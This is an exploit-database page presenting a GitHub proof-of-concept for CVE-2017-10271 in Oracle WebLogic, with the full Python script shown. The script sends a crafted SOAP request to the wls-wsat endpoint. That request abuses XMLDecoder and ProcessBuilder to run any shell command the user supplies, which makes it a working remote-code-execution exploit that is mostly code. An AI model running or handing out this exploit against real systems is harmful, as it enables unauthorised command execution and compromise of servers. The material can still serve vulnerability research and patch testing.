Exploit database

GH-bdef2335f32678c8df84c0fdb8d0bd00

pssss/cve-2017-10271

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2017-10271

51 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
pssss/cve-2017-10271Revision 2d05bfd14361

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2017-10271.py

Python · 1,791 bytes
#!/usr/bin/env python
# coding=utf-8
import requests
import getopt,sys
headers = { "Accept":"text/html,application/xhtml+xml,application/xml;",
            "Accept-Encoding":"gzip",
            "Accept-Language":"zh-CN,zh;q=0.8",
            "Cache-Control": "no-cache",
            "Referer":"http://www.test.com/",
            "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36",
           "Content-Type":"text/xml"
     }
data = '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2">';
data2 = ' </void></array><void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>'; 

def getOptions():
    url = ""
    cmd= ""
    try:
        options,args = getopt.getopt(sys.argv[1:],"u:c:h",["url=","cmd=","help"])
    except:
        sys.exit(1)
    for o,a in options:
        if o in ("-u","--url"):
            url = a;
        elif o in ("-c","--cmd"):
            cmd = a
        elif o in ("-h","--help"):
            print "Useage: python .\weblogic.py -u 'http://*.*.*.*:7001/wls-wsat/CoordinatorPortType' -c 'touch /tmp/test'"
            sys.exit()
        else:
            print "wrong"
    return url,cmd
if __name__ == "__main__":
    [url,cmd] = getOptions()
    print cmd
    cmdStr = "<string>"+cmd+"</string>"
    dataStr = data + cmdStr + data2
    res = requests.post(url,data=dataStr, headers=headers)